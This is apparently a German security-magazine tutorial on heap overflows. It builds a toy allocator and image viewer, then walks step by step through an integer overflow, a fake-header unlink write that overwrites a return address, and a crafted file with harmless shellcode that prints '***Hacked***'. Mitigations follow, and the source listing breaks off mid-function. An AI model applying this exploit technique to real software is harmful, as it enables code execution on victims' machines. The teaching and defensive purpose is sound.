Ein Haufen Risiko

Fast jedes zweite kritische Sicherheitsleck beruht auf einem Heap-Overflow. Über derartige Fehler kann ein Angreifer beliebigen Code einschleusen und ausführen. Selbst scheinbar harmlose Bilddateien mutieren damit zum gefährlichen Trojanischen Pferd.

In Pocket speichern vorlesen Druckansicht
Lesezeit: 32 Min.
Von
  • Felix "FX" Lindner
Inhaltsverzeichnis

Das Betrachten einer Bilddatei sollte eigentlich ein harmloser Vorgang sein, von dem man nicht erwarten würde, dass man sich dabei einen Virus oder Trojaner einfangen kann. Schließlich wird ja kein Programmcode ausgeführt, sondern der Bildbetrachter interpretiert lediglich die Daten der Bilddatei, um ein paar Pixel auf dem Bildschirm einzufärben. Fehlerhafte Dateien resultieren normalerweise in Pixelsalat auf dem Bildschirm; mehr Schaden richten sie nicht an.

Wenn aber das Anzeigeprogramm nachlässig programmiert ist, können unzulässige Datenstrukturen in der Bilddatei zu einem Pufferüberlauf führen: Daten belegen mehr Platz, als der Programmierer vorgesehen hat und überschreiben Speicherplätze, an denen sie nichts verloren haben. Die harmloseste Folge wäre, dass das Programm in der Folge so durcheinanderkommt, dass ihm das Betriebssystem auf die Finger klopft und es beendet. Der Sicherheits-GAU tritt ein, wenn es durch gezielt manipulierte Bilddateien möglich ist, Maschinencode ins System einzuschleusen, den der Bildbetrachter dann zur Ausführung bringt, wie es beispielsweise ein Fehler in der Windows-Bibliothek gdiplus.dll bei der Anzeige von JPG-Dateien ermöglichte. Dieses konkrete Ausnutzen eines Programmfehlers für bösartige Zwecke bezeichnet man in der Sicherheitsszene als Exploit.

Pufferüberläufe (englisch: buffer overflow) sind ein grundsätzliches Sicherheitsrisiko, das nicht nur im Zusammenhang mit Bilddateien auftreten kann, sondern potenziell immer, wenn eine Anwendung nicht vertrauenswürdige Daten interpretiert und der Programmierer dabei etwas nicht bedacht hat. Je nachdem, in welchem Datenbereich der Überlauf stattfindet, spricht man von Stack- oder Heap-Overflow. Da diese Fehler früher hauptsächlich auf dem Stack gefunden und ausgenutzt wurden, hat es sich einbürgert, nur für diese Gattung den allgemeinen Begriff Buffer-Overflow zu verwenden.

Doch eigentlich gehören auch die mittlerweile mehr in Mode gekommenen Heap-Overflows in diese Kategorie. Wer es noch genauer nimmt, sollte von Buffer-Overflows auf dem Heap sprechen, da keineswegs der Heap selbst überläuft, sondern lediglich ein dort abgelegter Puffer. Im Folgenden kommt jedoch meist die etablierte Kurzbezeichnung Heap-Overflow zum Einsatz.

Um zu verstehen, wie sich ein Heap-Overflow auswirkt und vor allem, wie er sich ausnutzen lässt, ist zunächst ein kleiner Ausflug in die Speicherverwaltung notwendig. Variablen – und damit auch Puffer – kann ein Programm an drei recht unterschiedlichen Stellen im Speicher anlegen: dem Datenbereich, dem Stack und dem Heap. Der Datenbereich enthält statische Variablen. Zwar können auch die sich zur Laufzeit ändern und somit Angriffsfläche bieten; doch reale Angriffe durch Buffer-Overflows gibt es hier kaum.

Auf dem Stack vermischen sich Verwaltungsinformationen mit Nutzdaten des Programms.

Lokale Variablen in C-Funktionen, die Programmierer gern als Puffer für Eingabedaten verwenden, legt der Compiler auf dem Stack an. Der Stack hat eine weitere wichtige Funktion: Hier sichert die CPU die Rücksprungadresse, wenn sie eine Unterfunktion aufruft. Wenn ein Angreifer diese Adresse durch einen Pufferüberlauf gezielt mit einem anderen Wert überschreiben kann, führt die CPU das Programm nach dem Abarbeiten der Funktion an der gespeicherten Rücksprungadresse weiter aus. Nur handelt es sich dabei nicht mehr um den Originalwert, sondern um einen Zeiger auf den eingeschleusten Code. Ein Exploit ist geboren.

Das grundlegende Problem ist, dass die Systeme Programmvariablen und Puffer mit Verwaltungsdaten mischen. So kann ein Überlauf der Programmdaten auch Managementinformationen überschreiben und damit unerwarteten Einfluss auf den Programmablauf nehmen. Nur deshalb gelingt es relativ einfach, den Programmfluss mit Hilfe eines Buffer-Overflow zu ändern und Code des Angreifers ausführen zu lassen. Dieses generelle Verhalten kann der Programmierer nicht ändern; er hat keinen Einfluss darauf, wo beispielsweise die CPU Rücksprungadressen speichert.

Anders als bei den anderen Datenbereichen sind die Puffer auf dem Heap dynamisch. Der Entwickler beziehungsweise der Compiler muss zum Zeitpunkt der Programmerstellung noch nicht wissen, wie viele Daten er dort speichern wird, sondern das Programm kann den benötigten Platz zur Laufzeit in passender Größe anfordern. Dies geschieht über eine der zahlreichen Speicherreservierungsfunktionen, abhängig von Sprache, Plattform und Verwendungszweck der Software:

  • malloc(), calloc() und realloc() sind in ANSI-C-Code die am häufigsten verwendeten Funktionen.
  • Der Operator new reserviert in C++ Speicher auf dem Heap für Arrays und Objektinstanzen.
  • Delphi-Programmierer verwenden GetMem() und New().
  • Viele Plattformen bieten nichtportable Funktionen an, wie LocalAlloc() und HeapAlloc() unter Windows.

Der Aufruf dieser Funktionen reserviert Speicher im virtuellen Adressraum des Prozesses und liefert einen Zeiger darauf zurück. Der Programmierer kann diesen Speicher beliebig nutzen und muss ihn dann zu gegebener Zeit wieder freigeben.

Typischerweise versieht das Betriebssystem jeden Prozess mit einem Heap einer bestimmten Größe, die sich allerdings zur Laufzeit ändern lässt. Dessen Verwaltung und Aufteilung in kleine, dem Programmierer genehme Häppchen übernimmt meist eine Systembibliothek, die beim Laden des Prozesses in dessen Adressbereich eingeblendet wird.

Werden die Grenzen eines vom Kernel bereitgestellten Speicherbereichs überschritten, so führt das zu einer Zugriffsverletzung und damit in der Regel zum Beenden des Prozesses. Innerhalb des Speicherbereiches existieren allerdings keine solche Begrenzungen; weder die CPU noch der Kernel können erkennen, ob es zu Überläufen im Inneren des Heap gekommen ist.

Wie viel Speicher vom Kernel für einen Heap erbeten wird, hängt vom ausgeführten Programm ab. Viele Dateiformate für ausführbare Dateien enthalten Information für die erwartete Größe des Heap. Die Windows-Formate für ausführbare Dateien PE und PE32 führen diese Information im so genannten Optional Header, welcher alles andere als optional ist. Sowohl für den Stack als auch für den Heap enthält er die zu reservierende und die sofort benötigte Größe. Das für Linux primär verwendete ELF32-Dateiformat liefert ähnliche Vorgaben.

Auch der Heap enthält – analog zum Stack – Verwaltungsinformationen gemischt mit Nutzdaten. Entsprechend funktionieren Buffer-Overflow-Angriffe auf dem Heap prinzipiell ähnlich wie auf dem Stack: Durch das gezielte Überschreiben von Verwaltungsdaten kann der Angreifer den Programmablauf so beeinflussen, dass sein eingeschleuster Code ausgeführt wird.

Jede Laufzeitumgebung hat ihr eigenes Heap-Management, das an die Eigenheiten des jeweiligen Systems angepasst ist. Prinzipiell kann ein Programm jedoch auch seine eigene Speicherverwaltung implementieren.

Für die Erläuterung von Heap-Overflows verwenden wir im Folgenden eine einfache Heap-Verwaltung, die in dieser Form wohl nicht in der Praxis zu finden ist, an der sich die grundsätzlichen Techniken aber gut zeigen lassen. Diese Beispielimplementierung, genannt SimpleHeap, besteht aus einer doppelt verketteten Liste, welche als Nutzdaten die reservierten Speicherblöcke enthält. Jeder Speicherblock startet zunächst mit einem Header für die Verwaltungsdaten: jeweils ein Zeiger zum nächsten und vorgehenden Speicherblock, die Größe des reservierten Speichers und einen Marker, der anzeigt, ob der Speicherblock verwendet wird. Anschließend folgt der eigentliche Speicherbereich. In C sieht das Ganze so aus:

typedef struct __HeapHdr__ {
struct __HeapHdr__ *next;
struct __HeapHdr__ *prev;
unsigned int size;
unsigned int used;
// Nutzdatenbereich ab hier
} HeapHdr_t;

Beim Programmstart holt sich SimpleHeap einen ausreichend großen Speicherbereich vom Betriebssystem, den es anschließend selbst verwaltet. Die Initialisierung erzeugt ein Wurzelelement, das den gesamten freien Speicher enthält:

root = (HeapHdr_t *) memory;
root->next = NULL;
root->prev = NULL;
root->size = initial_size - sizeof(HeapHdr_t);
root->used = 0;

SimpleHeap_alloc() reserviert einen Speicherblock.

Alles, was SimpleHeap damit noch fehlt, sind Funktionen zum Reservieren und Freigeben von Speicher. Diese einfache Implementierung kommt ohne große Finessen aus, wodurch sich diese Funktionen sehr einfach gestalten. Die Reservierungsfunktion SimpleHeap_alloc() sucht einen freien Block mit ausreichender Größe und verwendet den gewünschten Teil davon. Die Funktion SimpleHeap_free() zur Freigabe von Speicher gestaltet sich ähnlich simpel. Sie nimmt den Zeiger auf den Datenblock entgegen und markiert ihn im zugehörigen Header als frei, indem sie das used-Feld auf 0 setzt.

Eine so einfache Implementierung hätte allerdings einen entscheidenden Nachteil: Der Heap fragmentiert im Lauf seiner Benutzung. Bei der Reservierung wird ein neuer Block vom großen Haufen abgeknapst, den ein SimpleHeap_free() zwar wieder freigibt, aber nicht wieder zum ursprünglichen freien Block hinzufügt. Soll nach der Freigabe ein neuer, größerer Block reserviert werden, könnte SimpleHeap den freigegebenen Block nicht verwenden, auch wenn er zusammen mit eventuell freien Nachbarn groß genug wäre.

SimpleHeap_free() ohne das Zusammenfassen freier Blöcke.

Beim Freigeben fasst SimpleHeap benachbarte, freie Blöcke zusammen. Die gepunkteten Zeiger werden gelöscht.

Deshalb fasst die Funktion SimpleHeap_free() im Listing aufeinanderfolgende freie Blöcke zusammen und hängt den hinteren aus der doppelt verketteten Liste aus. Dazu muss sie zwei Zeiger manipulieren: Den next-Zeiger des ersten freien Blockes und den prev-Zeiger des übernächsten Blocks.

hdr->next=hdr->next->next;
hdr->next->next->prev=hdr->next->prev;

Die meisten Heap-Implementierungen arbeiten nach einem vergleichbaren Prinzip. In manchen Fällen erfolgt das Freigeben und das Zusammenfassen von freien Speicherblöcken jedoch getrennt, sodass Zusammenfassungen erst zeitlich verzögert erfolgen.

Zwei Fehler können einen Heap-Overflow verursachen: Die Größe des reservierten Speichers ist statisch und ein Angreifer kann dafür sorgen, dass mehr als die vorgesehene Menge Daten hineingeschrieben wird, oder die Berechnung des benötigten Speichers bei der Reservierung ist fehlerhaft beziehungsweise beruht auf Angaben des Angreifers.

Aus welchem Grund der Heap-Overflow auch zustande kommt, der Angreifer kann fast immer nur im Speicher weiter schreiben, nicht aber rückwärts. Das heißt, der Overflow kann den eigenen Heap-Header nicht überschreiben, da er ja vor dem Datenblock liegt, wohl aber einen oder mehrere der nachfolgenden Header.

Hier wird ein wichtiger Unterschied zu einem Buffer-Overflow auf dem Stack deutlich: Der Angreifer muss wissen, welche Heap-Implementierung das Programm zur Laufzeit verwendet, um die Verwaltungsinformationen gezielt mit manipulierten Werten zu präparieren. Das Stack-Layout ist hingegen bei jedem Programmlauf mehr oder weniger gleich und die Bedeutung der außer der Rücksprungadresse überschriebenen Werte weitgehend egal.

Noch ein weiterer Unterschied macht dem Angreifer das Leben schwer: Anders als auf dem Stack kann er auf dem Heap keine Speicherbereiche überschreiben, deren Inhalt das Programm direkt als Sprungadresse nutzt. Er kontrolliert lediglich Daten für die Heap-Verwaltung, also die Zeiger next und prev und die Felder size und used.

Damit wird bereits klar, dass SimpleHeap noch weitere Operationen auf dem Heap durchführen muss, damit die überschriebenen Werte überhaupt verwendet werden. Beendet sich das Programm direkt nach dem Überlauf, werden die überschriebenen Werte nicht verwendet und der Angriff ist erfolglos. Ein nahe liegender Kandidat für einen gezielten Angriff ist die Funktion SimpleHeap_free(), die für jeden reservierten Block irgendwann einmal aufgerufen werden muss.

Um eigenen Code zur Ausführung zu bringen, muss der Angreifer dafür sorgen, dass das System des Opfers einen Speicherbereich überschreibt, von dem es zu einem späteren Zeitpunkt eine Sprungadresse lädt. Da es dabei darum geht, einen vom Angreifer vorgegebenen Wert an eine ebenfalls von ihm ausgewählte Adresse zu schreiben, sind Zeigeroperationen mit next und prev in SimpleHeap die aussichtsreichsten Kandidaten.

Betrachtet man SimpleHeap_free() noch einmal unter diesem Gesichtspunkt, fällt das Augenmerk sofort auf die Defragmentierung, bei der die manipulierbaren Verwaltungsinformationen für Schreiboperationen herangezogen werden. Insbesondere bei

hdr->next->next->prev=hdr->next->prev;

kann der Angreifer sowohl den zu schreibenden Wert als auch die Zieladresse bestimmen, wenn es ihm durch Überlauf gelingt, hdr->next auf einen von ihm fingierten Header zeigen zu lassen. Er muss dort dann nur das used-Feld auf 0 setzen, und schon führt SimpleHeap beim Freigeben des Puffers den obigen Befehl aus. Die richtigen Werte in hdr->next->prev und hdr->next->next->prev sorgen dafür, dass die vom Angreifer gewünschte Speicherstelle mit einem bestimmten Wert überschrieben wird. Grundsätzlich gilt, dass der Angreifer über hdr->next auch alle weiteren Dereferenzierungen kontrollieren kann. Das illustriert auch der vom Compiler erzeugte Assembler-Code, den man jedoch zum weiteren Verständnis des Artikels nicht benötigt.

C-Code:

hdr->next->next->prev = hdr->next->prev;

Assembler:

mov eax, [ebp+hdr]  ; EAX = hdr
mov ecx, [eax] ; ECX = Daten an Adresse in EAX, also
; ECX = hdr->next
mov edx, [ebp+hdr] ; EDX = hdr
mov eax, [edx] ; EAX = Daten an Adresse in EDX, also
; EAX = hdr->next
mov edx, [eax] ; EDX = Daten an Adresse in EAX, also
; EDX = hdr->next->next
mov eax, [ecx+4] ; EAX = Daten an Adresse in ECX + 4, also
; EAX = hdr->next->prev
mov [edx+4], eax ; Daten an Adresse in EDX + 4 = EAX, also
; hdr->next->next->prev = hdr->next->prev

Wie sich das nun konkret ausnutzen lässt, um eigenen Code auszuführen, soll eine einfache Beispielapplikation verdeutlichen, die SimpleHeap verwendet. Es handelt sich dabei um ein Bildbearbeitungsprogramm für Dateien in einem stark vereinfachten Grafikformat.

Eine solche Bilddatei enthält am Anfang jeweils 4 Byte mit den Angaben für Breite und Höhe des Bildes und dahinter pro Pixel ein Byte Farbinformation. Das Programm, das der Anwender zur Bearbeitung des Bildes auf seinem System startet, liest die Höhen- und Breiteninformation aus der vom Angreifer gelieferten Datei und reserviert entsprechend viel Speicher auf dem SimpleHeap, um die Bilddaten für die weitere Verarbeitung zu speichern.

Weiterhin reserviert das Programm entsprechend der Breiteninformation Speicher auf dem SimpleHeap, um einzelne Zeilen aus dem Bild auszulesen, diese zu verarbeiten und danach in den großen reservierten Speicherblock für die Gesamtbilddaten zu schreiben.

Das Pseudo-Listing illustriert die einzelnen Schritte:

1 Lese "width"
2 Lese "height"
3 Reserviere Speicher "image" mit der Groesse "width * height"
4 Fuer i in allen Bildzeilen (height):
5 Reserviere Speicher "line" mit der Groesse "width"
6 Lese "width" Bytes aus der Datei in "line"
7 Verarbeite "line"
8 Speichere "line" im Speicherblock "image" an Stelle "width * i"
9 Gib Speicher "line" wieder frei
0 Ende Fuer i

Zu Gunsten des Programmierers nehmen wir an, dass er sich durchaus Gedanken darüber gemacht hat, wie er sicherstellt, dass sein Programm auch dann korrekt funktioniert, wenn man ihm kaputte Bilddateien vorsetzt. So liest es maximal so viele Daten ein, wie der Vorspann der Grafik angekündigt hat und dann auch in den dafür reservierten Puffer passen. Trotzdem ist ihm ein schwerwiegender Fehler unterlaufen. Er findet sich bei der Berechnung der benötigten Speichergröße für die Gesamtbilddaten:

image = (unsigned char *) SimpleHeap_alloc(width * height, myRoot);

Was auf den ersten Blick wie eine sinnvolle Umsetzung des Ziels aussieht, entpuppt sich spätestens bei den folgenden Bildinformationen als fataler Fehler:

Breite	= 0x00000080 = 256
Höhe = 0x10000000 = 268435456

Da die Funktion SimpleHeap_alloc() als erstes Argument die Größe als size_t erwartet und dieser Datentyp bei einem herkömmlichen 32-Bit-Programm genau 32 Bit breit ist, werden auch nur die unteren 32 Bit des Ergebnisses der Multiplikation an die Funktion übergeben, also die 8 Nullen aus 0x800000000.

Die signifikante Information der 8 im höchstwertigen Byte geht verloren und das Programm reserviert einen 0 Byte großen Speicherbereich für die Bilddaten. Dies ist per se eine korrekte Operation, welche SimpleHeap auch pflichtgemäß erledigt. Nur reichen 0 Byte eben nicht, um die nun folgenden Bilddaten zu speichern. Ein Heap-Overflow ist geboren, in diesem Fall als Resultat eines Integer-Overflows bei der Größenberechnung.

Öffnet das Programm ein Bild mit diesen Größenangaben, überschreibt schon das Abspeichern der Bilddaten in der ersten Zeile den für line reservierten Speicher, der auf dem Heap direkt hinter image liegt.

Typischerweise löst der Angreifer diesen Überlauf zunächst mit einer Testdatei aus, die das Zeichen A für alle Bilddaten enthält.

00: 80 00 00 00 00 00 00 10 41 41 41 41 41 41 41 41 ........AAAAAAAA
10: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
20: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
30: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Die Zahlenwerte für Höhe und Breite sind übrigens verdreht in der Datei abgelegt, weil Intel-CPUs Daten im Little-Endian-Format speichern, also das niederwertige Byte zuerst. Das Beispielprogramm stürzt beim Bearbeiten des Bildes schon beim ersten Durchlauf der Schleife in Zeile 9 ab, wobei die SimpleHeap_free-Funktion bei dem Test:

if ( 0 == hdr->next->used )

eine Speicherschutzverletzung beim Lesen der Adresse 0x4141414d erzeugt.

Was ist passiert und vor allem: Woher kommt das "d"? Die A-Zeichen haben in Zeile 8 den Header des Blocks line überschrieben. Zeile 9 ruft dann SimpleHeapfree() auf, um line wieder freizugeben. Die Variable hdr zeigt zwar noch auf den richtigen Speicherbereich, dessen Inhalt ist allerdings von den Bilddaten überschrieben worden.

Demzufolge hat der Ausdruck hdr->next dann den Wert 0x41414141, was vier großen ASCII-As (0x41) entspricht. Das Element used eines SimpleHeap-Headers liegt vom Anfang des Headers aus gezählt an Offset 12 hinter den jeweils 4 Bytes für next, prev und size, also an der Adresse

0x41414141 + 0x0c = 0x4141414d

Beim Versuch, den Wert von used auszulesen, erfolgt ein Speicherzugriff auf diese Adresse, der kein Speicher zugeordnet ist, was zu einer Speicherschutzverletzung führt. Damit ist offensichtlich, dass der Angreifer den Heap kontrollieren und mit eigenen Daten überschreiben kann. Außerdem weiß er nach diesem Test, dass die Bilddaten den Header des nächsten Blockes überschreiben.

Es stellt sich immer noch die Frage, wie der Angreifer nun seinen Code konkret einschleust und ausführen lässt. An dieser Stelle hängt aber schon dieses einfache Beispiel von vielen weiteren Faktoren ab. Jedes Betriebssystem legt die Speicherbereiche, die das Programm als Heap verwenden möchte, an anderen Stellen im Speicher ab. Bei Betriebssystemen mit verschiedenen Möglichkeiten, einen Speicherblock beim Kernel anzufordern, kommt es auch auf die tatsächlich verwendete Methode an.

Das konkrete Beispielprogramm läuft unter Windows XP und reserviert den Speicherblock für SimpleHeap über die Funktion LocalAlloc(). Sie erstellt den SimpleHeap an der nächsten durch 0x10000 teilbaren Adresse nach dem Code und den statischen Daten des Hauptprogramms im Speicher. Die genaue Adresse hängt unter anderem von den Einstellungen des Compilers beim Übersetzen des Programms ab, da diese wiederum die Größe des Hauptprogramms und damit die nächste verfügbare Adresse beeinflussen. An dieser Stelle wird auch nochmals deutlich, warum Angreifer einen Stack-basierten Buffer-Overflow so sehr bevorzugen: Es gibt dort viel weniger Unbekannte.

Auf unserem Testsystem liegt der Speicherbereich für SimpleHeap bei einem Debug-Build des Programms an Adresse 0x00430020. Die 32 Byte Offset zum durch 0x10000 teilbaren Wert entstehen durch Verwaltungsinformationen, dieses Mal von LocalAlloc().

Die Zeiger myRoot und myHeap zeigen also auf die Adresse 0x00430020. Da der Angriff den SimpleHeap-Block Header für line überschreibt, sollte man sich diesen Speicherbereich direkt vor dem fatalen Kopiervorgang einmal genauer ansehen. An der Adresse 0x00430020 steht der Header des Speicherblocks image, den das Programm als Erstes alloziert hat. Das Größenfeld gibt korrekt die reservierte Größe von 0 Bytes an. Die ersten 4 Byte (next) zeigen auf den Header des nächsten Blocks (line) an 0x00430030.

Der Speicher vor dem fatalen Kopiervorgang: Hinter dem leeren Block image folgt direkt line.

Wenn das Programm die erste Zeile der Bilddatei aus dem Puffer line nach image kopiert, überschreibt diese die Daten ab 0x00430030. Damit beim anschließenden Aufruf von SimpleHeap_free(line) der anvisierte Befehl zum Zusammenfassen der freien Blöcke ausgeführt wird, muss dort hdr->next->used den Wert 0 haben. Des Weiteren soll ja hdr->next->prev für den Angriff einen passenden Wert enthalten. Sprich, der Angreifer muss an der Adresse hdr->next einen fingierten Header platzieren; in Fachkreisen spricht man von einem "Fake-Header". Dazu lässt er zunächst hdr->next auf einen Bereich zeigen, den er kontrolliert: die Bilddaten an der Adresse 0x00430040.

Der Exploit baut einen fingierten Header ein.

Der Inhalt der übrigen Felder hdr->prev, hdr->size und hdr->used ist beliebig; sie werden nicht verwendet. Spannend wird es dann erst wieder ab Offset 16 der Bilddaten: Sie landen an der Adresse 0x00430040, auf die hdr->next zeigt. Der dort platzierte Fake-Header muss einen unbenutzten Block ausweisen (hdr->next->used == 0) was bedeutet, dass an Offset 16+12 der Bilddatei der Wert 0 stehen muss.

Damit führt das Programm den kritischen Befehl aus:

hdr->next->next->prev=hdr->next->prev;

Er schreibt das prev-Feld des Fake-Headers, das an Offset 16+4 liegt und mit 0x00430050 auf den eigenen Code in den Bilddaten zeigt. Die Zieladresse hdr->next->next->prev für diese Schreiboperation errechnet das Programm aus dem Wert an der Stelle hdr->next-> next plus einem Offset von 4 für das prev-Element. Der einfache Beispiel-Exploit soll die Rücksprungadresse des Aufrufs von SimpleHeap_free() auf dem Stack überschreiben. Der Debugger lokalisiert sie an der Adresse 0x0012FD9C. Folglich muss hdr->next->next die Adresse 0x0012FD98 enthalten.

Somit steht der Inhalt des Fake-Headers und daher auch der Bilddaten fest:

0x00430040 Adresse des fingierten Headers (hdr->next)
12 Bytes beliebig
0x0012FD98 Zieladresse minus 4 (hdr->next->next)
0x00430050 Zielwert (hdr->next->prev)
4 Bytes beliebig (hdr->next->size)
0x00000000 hdr->next->used

Das ergibt zum Zeitpunkt, zu dem die CPU SimpleHeap_free(line) abarbeitet, die folgende SimpleHeap-Speicherbelegung:

Der Pufferüberlauf hat den Speicher für den fatalen Aufruf von <tt>SimpleHeap_free()</tt> vorbereitet.

Die Zusammenlegung der freien Blöcke platziert die gewünschte Adresse auf dem Stack und der Return-Befehl am Ende von SimpleHeap_free() benutzt sie als Rücksprungadresse. Die CPU führt dann den eingeschleusten Code aus; das Ziel ist erreicht.

Alternativ zur Rücksprungadresse auf dem Stack hätte der Angreifer auch andere Speicheradressen überschreiben können. Besonders beliebt sind Adressen von Exception Handlern auf dem Stack oder im Datensegment. Der resultierende Exploit wird dann oft nach dem Structured Exception Handler als SEH-Exploit bezeichnet. Aber auch andere Funktionszeiger im Datensegment oder Adressen von Funktionen, welche das Betriebssystem für den Prozesskontext hinterlegt, werden in der Praxis genutzt.

Das direkte Verändern des Programmcodes selbst ist im Übrigen nicht empfehlenswert, da die entsprechenden Speicherbereiche gewöhnlich als Read Only markiert sind und ein Schreibzugriff die Beendigung des Prozesses nach sich ziehen würde.

Den eingeschleusten Code bezeichnet man häufig als Shellcode, weil die ersten einfachen Vorlagen dafür dem Angreifer eine Eingabeaufforderung – die Shell – auf dem attackierten System lieferten. Seine Erstellung ist eine eigene Wissenschaft und geht über den Rahmen dieses Artikels weit hinaus. Lediglich ein paar Randbedingungen seien noch erwähnt.

Nach einem Heap-Overflow ist es selten ratsam, die angegriffene Applikation weiter laufen zu lassen. Schließlich hat der Angreifer gerade die interne Struktur des Primärspeichers für Daten, den Heap, manipuliert und in der Regel damit beschädigt. Der Prozess würde wahrscheinlich sofort eine Zugriffsverletzung erzeugen und beendet werden. Des Weiteren sollte auch der Angreifer in seinem Code den Heap nicht mehr verwenden. Zur Verfügung stehen ihm allerdings durchaus API-Funktionen, die der Prozess ohnehin verwendet und deren Adressen er mit dem Debugger ermitteln kann.

Der folgende Shellcode gibt via printf() eine Zeichenkette aus und beendet den Prozess dann sauber:

       JMP      SHORT End
Back: CALL SimpleHeap.printf
PUSH 0
CALL SimpleHeap.exit
End: CALL Back
DB "***Hacked***"

Der Sprung zum Label End und der nachfolgende Call zu Back platziert die Adresse der Zeichenkette ***Hacked*** als Rücksprungadresse auf dem Stack, wo sie printf() als Argument erwartet. Analog schiebt der Push-Befehl den Rückgabewert 0 für exit() auf den Stack.

Damit ist der Exploit fertig; die präparierte Bilddatei hat folgenden Inhalt:

00: 80 00 00 00 00 00 00 10 40 00 43 00 FF FF FF FF
10: FF FF FF FF FF FF FF FF 98 FD 12 00 50 00 43 00
20: FF FF FF FF 00 00 00 00 EB 0C E8 B9 24 FE FF 6A
30: 00 E8 E2 80 FE FF E8 EF FF FF FF (Zeichenkette
40: fuer Ausgabe hier einfuegen und mit 00 beenden)

Beim Aufruf von SimpleHeap.exe mit der angeblichen Bilddatei wird der eingeschleuste Code ausgeführt.

Die angebliche Bilddatei nutzt einen Heap-Overflow in SimpleHeap.exe.

Das Programm kann man im Übrigen durchaus mit der Option /GS des Microsoft-Compilers übersetzen, die den Buffer-Overflow-Schutz aktiviert. Das gezielte Überschreiben einer einzelnen Adresse auf dem Stack fängt dieser Schutzmechanismus nicht ab und ist daher wirkungslos. Nur der Einsatz von DEP (Data Execution Prevention, etwas unglücklich mit Datenausführungsverhinderung übersetzt) könnte diesen Angriff stoppen.

Die hier vorgestellte Methodik kommt prinzipiell auch bei echten Exploits zum Einsatz. Allerdings haben die hier der Einfachheit halber verwendeten festen Adressen den Nachteil, dass sie im Vorfeld bekannt sein müssen und der Exploit nicht funktioniert, wenn eine davon nicht stimmt. So kann der Beispiel-Exploit fehlschlagen, weil LocalAlloc() aus irgendwelchen Gründen einen anderen Speicherbereich liefert oder spezielle DLLs für andere Stack-Adressen sorgen. Will man den hier dargestellten Prozess trotzdem nachvollziehen, ist in solchen Fällen folglich Handarbeit angesagt. Die Kunst, verlässliche Exploits zu schreiben, ist vergleichbar mit dem Schreiben von fehlerfreier Software. Nur ein Angriff, der keine Adresse auf dem Zielsystem kennen muss, ist wirklich verlässlich und funktioniert auch auf jedem anderen System.

Vor allem bei den immer mehr an Bedeutung gewinnenden Schwachstellen in Browsern laufen oft Puffer auf dem Heap über. In Fällen wie dem kürzlich gefundenen Windows Embedded Open Type Font Heap Overflow wird das Erstellen eines stabilen Exploits zur Kunstform. Auch Schwachstellen, die unter Begriffen wie "Memory Corruption" firmieren, wie das aktuelle QueryInterface-Problem im Firefox-Browser, lassen sich mit ähnlichen Techniken angreifen. Meist unterscheiden sie sich vor allem in der Art, wie die Daten vorher im Speicher kopiert werden.

Und schließlich sind Heap-Implementierungen in den letzten Jahren auch als Folge der vielen Heap-Overflow-Exploits stark gereift. So verhindern viele Systeme solche einfachen Exploits durch zusätzliche Tests. Sie überprüfen beispielsweise die Heap-internen Zeiger auf Konsistenz, bevor sie sie verwenden:

if ( this_block->prev->next == this_block )

stellt sicher, dass der vorherige Block tatsächlich auf den aktuellen verweist. Andere Tests prüfen, ob ein Zeiger überhaupt auf einen Heap-Speicherblock zeigt, indem sie die Liste aller Blöcke durchlaufen. Nur wenn sie das Ziel des Zeigers dabei finden, darf er verwendet werden. Solche Sicherungsmaßnahmen sind bei heutigen CPUs keine Performance-Killer mehr.

Doch keine dieser Maßnahmen kann sicher verhindern, dass ein Pufferüberlauf ausgenutzt wird. Wenn ein Angreifer Verwaltungsdaten eines Programms überschreiben kann, sind die Folgen immer unangenehm. Die Heap-Checks tragen allerdings nebenbei auch dazu bei, dass inkonsistente Datenstrukturen durch Programmierfehler schneller auffallen, was letztlich den Kunden bessere, weil stabilere Software beschert.

Felix "FX" Lindner betreibt SABRE Labs und ist auf professionelle Sicherheits-Dienstleistungen und -analysen spezialisiert.

Listing: SimpleHeap.cpp

Download der Beispieldateien zu diesem Artikel.

// SimpleHeap.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

typedef struct __HeapHdr__ {
struct __HeapHdr__ *next;
struct __HeapHdr__ *prev;
unsigned int size;
unsigned char used;
// Nutzdatenbereich ab hier
} HeapHdr_t;

HeapHdr_t *Init_SimpleHeap( void *memory, unsigned int initial_size) {
HeapHdr_t *root;

root = (HeapHdr_t *) memory;
root->next = NULL;
root->prev = NULL;
root->size = initial_size - sizeof( HeapHdr_t );
root->used = 0;

return root;
}

void *SimpleHeap_alloc( size_t s, HeapHdr_t *root ) {
HeapHdr_t *p;
HeapHdr_t *np;

p = root;
// durchlaufe die gesamte Liste von Blöcken bis zum Ende
while ( NULL != p ) {

// ist dieser Block unbenutzt und groß genug
if (
( 0 == p->used )
&& ( s < p->size + sizeof( HeapHdr_t ) )
) {

// ein neuer Block für den übrigen freien Speicher wird
// generiert und hinter dem zu verwendenden in die Liste
// eingefügt
np = (HeapHdr_t *) ((unsigned char *)p + sizeof( HeapHdr_t ) + s);
// der Nachfolger bleibt identisch
np->next = p->next;
// der Nachfolger des Blockes p muss nun auf den neuen
// Block np verweisen, falls es einen Nachfolger gibt
if ( NULL != p->next )
p->next->prev = np;
// Der Vorgänger von np ist p
np->prev = p;
// der neue Block hat die Groesse des noch freien
// Speichers und ist nicht benutzt
np->size = p->size - s - sizeof( HeapHdr_t );
np->used = 0;

// nachdem der neue Block für den übrigen Speicher
// angelegt wurde, kann der alte Block verwendet werden
p->size = s;
p->used = 1;
p->next = np;

// der Pointer zum Nutzdatenbereich wird dem User
// zurückgegeben
return (void*) ((unsigned char*)p + sizeof( HeapHdr_t ) );
}

// nächsten Block betrachten
p = p->next;

} // while

// wurde beim Durchlauf kein nutzbarer Block gefunden, gibt
// die Funktion NULL zurück
return NULL;
}

void SimpleHeap_free( void *userp ) {
HeapHdr_t *hdr;

// der vom Benutzer übergebene Zeiger ist eigentlich ein Zeiger
// auf hdr->usermem. Man erhält den richtigen Zeiger für hdr, indem
// den Benutzerzeiger um die Größe des Headers nach vorn
// verschoben wird
hdr = (HeapHdr_t *) ( (unsigned char *)userp - sizeof( HeapHdr_t ) );

// mit dem folgenden Schritt ist der Speicherbereich schon wieder
// freigegeben und könnte verwendet werden
hdr->used = 0;

